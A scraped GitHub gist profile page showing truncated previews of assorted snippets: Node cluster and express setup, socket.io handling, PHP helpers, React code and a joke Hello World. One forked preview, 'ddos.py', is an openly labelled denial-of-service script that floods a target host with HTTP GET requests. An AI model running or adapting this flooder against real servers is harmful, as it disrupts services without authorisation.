Skip to content

Instantly share code, notes, and snippets.

View blackavec's full-sized avatar
🎖️
Data Enthusiast

Mahan Hazrati blackavec

🎖️
Data Enthusiast
View GitHub Profile
(function(document, window){
// good way to init the framework
})(document, window)
require('./bootstrap');
var cluster = require('cluster');
var numCPUs = require('os').cpus().length;
if (cluster.isMaster) {
for (var i = 0; i < numCPUs; i++) {
cluster.fork();
}
@blackavec
blackavec / app.js
Created May 17, 2016 10:44 — forked from narirou/app.js
express.js + pjax workflow
var express = require( 'express' ),
bodyParser = require( 'body-parser' ),
pjax = require( './pjax-helper' );
var app = express();
app.set( 'views', __dirname + '/views' );
app.set( 'view engine', 'jade' );
app.use( pjax() );
var socketsRepo = require(your db handler repository class)();
base.io.on('connection', function (socket) {
var region = socket.handshake.query.region || null;
// the codes when connection just connected
socketsRepo.insertSocket(socket.session.user._id, socket.id, region).then(function () {
socket.on('disconnect', function () {
socketsRepo.deleteSocket(socket.id).then(function () {
@blackavec
blackavec / helpers.php
Created June 27, 2016 06:29
Dummy code for checking user's role in order to verify it's permission to specific route
if (!function_exists('check_route_user_access')) {
/**
* Checks if current user has right access to following route
*
* @param $route
*
* @return bool
*/
function check_route_user_access($route) : bool
{

Most active GitHub users in Thailand

The count of contributions (summary of Pull Requests, opened issues and commits) to public repos at GitHub.com from Wed, 29 Jul 2015 01:52:41 GMT till Fri, 29 Jul 2016 01:52:41 GMT.

Only first 1000 GitHub users according to the count of followers are taken. This is because of limitations of GitHub search. Sorting algo in pseudocode:

githubUsers
 .filter(user =&gt; user.followers &gt; 6)
@blackavec
blackavec / ddos.py
Created August 3, 2016 03:52 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
import React, {
Component,
} from 'react';
import {
StyleSheet,
Text,
View,
Animated,
Easing,
@blackavec
blackavec / HelloWorld.java
Created October 17, 2016 02:54 — forked from lolzballs/HelloWorld.java
Hello World Enterprise Edition
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
public class HelloWorld{
private static HelloWorld instance;
public static void main(String[] args){
instantiateHelloWorldMainClassAndRun();
@blackavec
blackavec / SimpleCart.php
Created September 18, 2017 17:34
Simple Example for add / remove cart items
<?php
// Products items
[
"id" => 1,
"name" => "test"
"price" => 30
],
[
"id" => 2,